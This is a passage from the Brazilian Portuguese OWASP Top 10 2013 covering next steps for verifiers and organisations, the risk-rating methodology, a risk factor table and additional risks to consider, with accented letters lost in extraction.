desenvolvedores em segurana de aplicaes web e uma lista extensa de Apresentaes
Educacionais do OWASP. Para treinamento prtico sobre vulnerabilidades, use o WebGoat
OWASP, WebGoat.NET, ou o Projeto OWASP Broken Web Applications. Para se manter atualizado,
participe de uma Conferncia AppSec do OWASP, um Evento de Treinamento OWASP, ou de
reunies de um Captulo local do OWASP.
Educao em
Segurana de
Aplicaes
Organize-se
Para verificar a segurana da aplicao web que voc desenvolveu, ou de uma aplicao que esteja considerando adquirir, o
OWASP recomenda verificar o cdigo fonte da mesma (se disponvel), bem como testar a aplicao. O OWASP recomenda
combinar a reviso de segurana do cdigo com o teste de invaso sempre que possvel, pois isto permite aproveitar as
vantagens das duas tcnicas, aliado ao fato que as duas se complementam. As ferramentas para ajudar no processo de
verificao podem melhorar a eficincia e a eficcia de um analista experiente. As ferramentas de verificao do OWASP so
focadas em ajudar o especialista a ser mais eficaz, ao invs de simplesmente automatizar o processo de anlise.

Padronizando o Processo de Verificao da Segurana em Aplicaes Web: Para ajudar as organizaes a desenvolver
consistncia e um nvel definido de rigor ao avaliar a segurana de aplicaes web, OWASP criou o Padro de Verificao de
Segurana de Aplicaes (ASVS). Este documento define um padro mnimo de verificao para testar a segurana de aplicaes
web. OWASP recomenda usar o ASVS no apenas para saber o que procurar quando for verificar a segurana da aplicao, mas
tambm para saber quais tcnicas so mais apropriadas, e para ajudar a definir e selecionar o nvel de rigor dessa verificao. O
OWASP tambm recomenda usar o ASVS para ajudar a definir e selecionar os tipos de servios de verificao de terceiros, se for
contratar este servio.

Conjunto de Ferramentas de Verificao: O Projeto OWASP Live CD compilou algumas das melhores ferramentas abertas de
segurana em um ambiente nico ou em uma mquina virtual (VM). Desenvolvedores web, responsveis pelos testes e
profissionais de segurana podem dar partida no seu sistema usando o CD ou executando a mquina virtual para acessar um
conjunto completo de testes de segurana. No necessrio instalar ou configurar nada para usar as ferramentas do CD.
Prximos Passos para
Verificadores
+V
Reviso de Cdigo
A reviso do cdigo fonte particularmente til para verificar se
os mecanismos de segurana da aplicao so robustos, assim
como para encontrar problemas difceis de identificar
simplesmente examinando os resultados da aplicao. Testar a
aplicao particularmente til para provar que as falhas so de
fato explorveis. Esses mtodos so complementares e at
redundantes em algumas reas.
Revisando o Cdigo: Para acompanhar o Guia do Desenvolvedor
OWASP e o Guia de Teste OWASP, o OWASP criou o Guia de
Reviso de Cdigo OWASP para ajudar os desenvolvedores e os
especialistas em segurana de aplicaes a entender como
revisar uma aplicao web eficientemente e de maneira eficaz.
Inmeros problemas de segurana em aplicaes web, tais
como Falhas de Injeo, podem ser mais fceis de detectar
atravs da reviso do cdigo do que por testes externos.
Ferramentas para Reviso de Cdigo: OWASP tem feito um
trabalho promissor de ajuda aos especialistas na anlise de
cdigo, mas essas ferramentas esto ainda em fase inicial. Os
autores das ferramentas usam as mesmas diariamente, mas
no-especialistas podem ach-las difceis de usar. Entre estas
ferramentas esto CodeCrawler, Orizon e O2. Somente a O2
est em desenvolvimento ativo desde a ltima verso dos Top
10 de 2010.
Existem outras ferramentas abertas para reviso de cdigo. A
mais promissora delas a FindBugs, e seu novo plug-in voltado
a segurana: FindSecurityBugs, ambos para Java.
Segurana e Teste de Invaso
Testando a Aplicao: OWASP criou o Guia de Testes para
ajudar desenvolvedores, responsveis por testes e
especialistas em segurana de aplicaes a testar a
segurana de aplicaes web eficientemente e de maneira
eficaz. Esse guia enorme, elaborado por dezenas de
contribuintes, apresenta uma cobertura extensa em muitos
tpicos de testes de segurana para aplicaes web. Da
mesma forma que a reviso de cdigo tem seus pontos
fortes, os testes de segurana tambm tem suas vantagens.
bastante convincente quando se consegue provar que a
aplicao insegura mostrando a explorao da
vulnerabilidade. Existem muitos outros problemas ,
particularmente a segurana da infraestrutura da aplicao,
que no podem ser vistos simplesmente com uma reviso
de cdigo, j que a aplicao no prov segurana por si
prpria.
Ferramentas para Testes de Invaso: WebScarab, que foi
um dos projetos OWASP mais usados, e a nova ZAP, que
agora ainda mais popular, so ambas proxies de testes de
aplicaes web. Essas ferramentas permitem que analistas
de segurana e desenvolvedores interceptem pedidos s
aplicaes web, de modo a entender como a aplicao
trabalha, e submeter pedidos de teste para verificar se a
aplicao responde de maneira segura aos testes. Essas
ferramentas so particularmente eficazes em ajudar a
identificar falhas de XSS , Autenticao e Controle de
Acesso. ZAP tem at um scanner ativo embutido e, melhor
ainda, GRTIS!
Comece Agora seu Programa de Segurana de Aplicaes
Segurana de Aplicaes no mais opcional. Ataques cada vez mais frequentes e presso para seguir a regulamentao exigem
que as organizaes estabeleam um programa efetivo de segurana das aplicaes. Dado o grande nmero de aplicaes e
linhas de cdigo que j esto em produo, muitas organizaes esto tendo dificuldades em controlar o nmero elevado de
vulnerabilidades. OWASP recomenda que as organizaes estabeleam um programa de segurana de aplicaes para ganhar
viso e melhorar a segurana dos seus portfolios de aplicaes. Obter segurana de aplicaes requer que vrias partes da
organizao trabalhem juntas e de maneira eficiente, incluindo segurana e auditoria, desenvolvimento de software, gerncias e
liderana executiva. necessrio que a segurana seja visvel, para que todos os envolvidos possam entender a postura da
organizao em relao segurana de aplicaes. preciso tambm focalizar em atividades e resultados que realmente ajudem
a melhorar a segurana da corporao atravs da reduo do risco com um bom custo/beneficio. Algumas das atividades chave
de um programa eficaz para a segurana de aplicaes incluem:

Prximos Passos para
Organizaes
+O
Estabelecer um programa de segurana de aplicaes e estimular sua adoo.
Conduzir uma anlise de diferenas de capacitao, comparando sua organizao com outras
semelhantes, definindo reas chave para melhorias e um plano de execuo.
Obter aprovao da liderana e estabelecer uma campanha de conscientizao em segurana de
aplicaes para toda a organizao de TI.
Iniciando
Identificar e estabelecer prioridades no portfolio de aplicaes usando uma perspectiva de risco.
Criar um modelo de avaliao de risco em aplicaes para medir e priorizar as aplicaes do portfolio.
Estabelecer diretrizes de segurana com o fim de definir a cobertura e o nvel de rigor necessrios.
Estabelecer um modelo comum de classificao de riscos aliado a um conjunto consistente de fatores
de impacto e probabilidade que reflitam a tolerncia de risco da organizao.
Abordagem
de Portfolio
Baseada em
Risco
Estabelecer um conjunto de politicas e normas que sejam uma base para segurana de aplicaes a
ser seguida por todas as equipes de desenvolvimento.
Definir um conjunto comum de controles de segurana reutilizveis que complementem as polticas e
normas, contendo orientaes de uso para as fases de projeto e desenvolvimento.
Estabelecer um currculo de formao em segurana de aplicaes obrigatrio e direcionado s
diversas funes de desenvolvimento e tpicos existentes.
Ativar com
uma
fundao
slida
Definir e integrar implementaes de segurana e atividades de verificao nos processos de
desenvolvimento e operao existentes. As atividades incluem Modelagem de Ameaas, Projeto
Seguro e Reviso, Codificao e Reviso de Cdigo com Segurana, Testes de Invaso, e Correo.
Oferecer especialistas e servios de suporte para as equipes de desenvolvimento e projeto para obter
xito nos processos.
Integrar
Segurana
aos
Processos
Existentes
Gerenciar usando mtricas. Efetuar melhorias e decises de investimento baseadas nas mtricas e
anlises dos dados capturados. Mtricas incluem aderncia s atividades e prticas seguras,
vulnerabilidades introduzidas, vulnerabilidades mitigadas, abrangncia da aplicao, densidade de
defeitos por contagem de tipo e instncia, etc.
Analisar dados das atividades de implementao e verificao procurando por causas raiz e padres
de vulnerabilidade com o fim de conduzir as melhorias estratgica e sistematicamente em toda a
empresa.
Oferecer
Visibilidade
para a
Gerncia
Isso Sobre Riscos, No Sobre Vulnerabilidades
Embora as verses do OWASP Top 10 de 2007 e anteriores, fossem focadas em identificar as "vulnerabilidades" mais comuns, o OWASP
Top 10 sempre foi organizado em torno de riscos. Isto tem causado alguma confuso compreensvel por parte das pessoas em busca de
uma taxonomia estanque de vulnerabilidades. O OWASP Top 10 de 2010, esclareceu o foco de risco no Top 10 por ser muito explcito
sobre como agentes de ameaa, vetores de ataque, vulnerabilidades, impactos tcnicos e no negcio se combinavam para produzir
riscos. Esta verso do OWASP Top 10 segue a mesma metodologia.

A metodologia de Classificao de Risco para o Top 10 baseado no OWASP Risk Rating Methodology. Para cada item Top 10, estimou-
se o risco tpico que cada vulnerabilidade introduz em uma aplicao web tpica verificando fatores comuns de probabilidade e fatores
de impacto para cada vulnerabilidade comum. Em seguida, classificamos de forma ordenada o Top 10 de acordo com as
vulnerabilidades que normalmente apresentam o risco mais significativo para uma aplicao.

A OWASP Risk Rating Methodology define inmeros fatores para ajudar a calcular o risco de uma vulnerabilidade identificada. No
entanto, o Top 10 deve falar sobre generalidades, ao invs de vulnerabilidades especficas em aplicaes reais. Consequentemente, no
podemos ser to exatos quanto os proprietrios do sistema podem ser quando calculam os riscos para sua aplicao. Voc est melhor
equipado para julgar a importncia de suas aplicaes e dados, quais so seus agentes de ameaa, e como o sistema foi desenvolvido e
est sendo operado.

Nossa metodologia inclui trs fatores de probabilidade para cada vulnerabilidade (prevalncia, deteco e facilidade de explorao) e
um fator de impacto (impacto tcnico). A prevalncia de uma vulnerabilidade um fator que normalmente voc no tem que calcular.
Para os dados de prevalncia, foram fornecidas estatsticas a partir de um certo nmero de diferentes organizaes (como referenciado
na seo Agradecimentos na pgina 3) e temos uma mdia de seus dados em conjunto para chegar a uma lista Top 10 da probabilidade
de existncia por prevalncia. Estes dados foram ento combinados com os dois outros fatores de probabilidade (deteco e facilidade
de explorao) para calcular uma classificao de probabilidade para cada vulnerabilidade. Este valor foi ento multiplicado pelo nosso
impacto tcnico mdio estimado para cada item para chegar a uma classificao de risco global do Top 10.

Observe que esta abordagem no leva em conta a probabilidade do agente de ameaa. Nem responde por qualquer um dos vrios
detalhes tcnicos associados sua aplicao especfica. Qualquer um desses fatores poderia afetar significativamente a probabilidade
global de um atacante encontrar e explorar uma vulnerabilidade particular. Esta classificao tambm no leva em conta o impacto real
sobre o seu negcio. Sua organizao ter de decidir qual o grau de risco de segurana das aplicaes est disposta a aceitar dada a sua
cultura, indstria e ambiente regulatrio. O objetivo do OWASP Top 10 no fazer a anlise de risco para voc.

A figura seguinte ilustra o nosso clculo do risco para A3: Cross-Site Scripting, como um exemplo. XSS to comum que justifica o nico
"muito difundido", valor 0 de prevalncia. Todos os outros riscos variaram de generalizada a rara (valor de 1 a 3).

+R
Especfico da
Aplicao
Explorao
MDIA
Prevalncia
MUITO DIFUNDIDA
Deteco
FCIL
Impacto
MODERADO
Especfico do
Negcio/
Aplicao

2

0

1

1

*

2

2

2
Notas Sobre Riscos
Vulnerabilidades
de Segurana
Vetores
de Ataque
Impactos
Tcnicos
Agentes de Ameaa
Impactos
no Negcio
Top 10 Sumrio de Fator de Risco
A tabela a seguir apresenta um resumo dos Top 10 2013 de Riscos de Segurana em Aplicaes e os fatores de risco que foram
atribudos a cada risco. Esses fatores foram determinados com base nas estatsticas disponveis e na experincia da equipe
OWASP Top 10. Para compreender esses riscos em uma aplicao ou organizao em particular, voc deve considerar seus
prprios agentes de ameaa e impactos no negcio. Mesmo falhas flagrantes de software podem no representar um risco srio
se no houver agentes de ameaa em uma posio de realizar o ataque necessrio, ou o impacto no negcio insignificante para
os ativos envolvidos.
Detalhes Sobre Fatores de Risco
+F
RISCO
A1-Injeo Especfico Apl. FCIL COMUM MDIA SEVERO Especfico Apl.
A2-Autenticao Especfico Apl. MDIA GENERALIZADA MDIA SEVERO Especfico Apl.
A3-XSS Especfico Apl. MDIA MUITO DIFUNDIDA FCIL MODERADO Especfico Apl.
A4-Ref. Insegura Especfico Apl. FCIL COMUM FCIL MODERADO Especfico Apl.
A5-Conf. Incorreta Especfico Apl. FCIL COMUM FCIL MODERADO Especfico Apl.
A6-Exp. de Dados Especfico Apl. DIFCIL RARA MDIA SEVERO Especfico Apl.
A7-Cont. Acesso Especfico Apl. FCIL COMUM MDIA MODERADO Especfico Apl.
A8-CSRF Especfico Apl. MDIA COMUM FCIL MODERADO Especfico Apl.
A9-Comp. Vulner. Especfico Apl. MDIA GENERALIZADA DIFCIL MODERADO Especfico Apl.
A10-Redirecion. Especfico Apl. MDIA RARA FCIL MODERADO Especfico Apl.
Riscos Adicionais a Considerar
O Top 10 cobre um terreno bem amplo, mas h muitos outros riscos que voc deve considerar e avaliar em sua organizao. Alguns destes
estavam presentes nas verses anteriores do Top 10, e outros no, incluindo novas tcnicas de ataque que so identificadas a todo momento.
Outros importantes riscos de segurana em aplicaes (em ordem alfabtica) que voc deve considerar incluem:
Clickjacking
Concurrency Flaws
Denial of Service (Was 2004 Top 10 Entry 2004-A9)
Expression Language Injection (CWE-917)
Information Leakage and Improper Error Handling (Was part of 2007 Top 10 Entry 2007-A6)
Insufficient Anti-automation (CWE-799)
Insufficient Logging and Accountability (Related to 2007 Top 10 Entry 2007-A6)
Lack of Intrusion Detection and Response
Malicious File Execution (Was 2007 Top 10 Entry 2007-A3)
Mass Assignment (CWE-915)
User Privacy
Prevalncia Deteco Explorao
Impacto
Vulnerabilidades
de Segurana
Vetores de
Ataque
Impactos
Tcnicos
Agentes de
Ameaa
Impactos
no Negcio

OWASP Top 10 - 2013 Brazilian Portuguese

Enviado por

Dados do documento

Direitos autorais

Formatos disponíveis

Compartilhar este documento

Compartilhar ou incorporar documento

Opções de compartilhamento

Você considera este documento útil?

Este conteúdo é inapropriado?

Direitos autorais:

Formatos disponíveis

OWASP Top 10 - 2013 Brazilian Portuguese

Enviado por

Direitos autorais:

Formatos disponíveis

BR

Você também pode gostar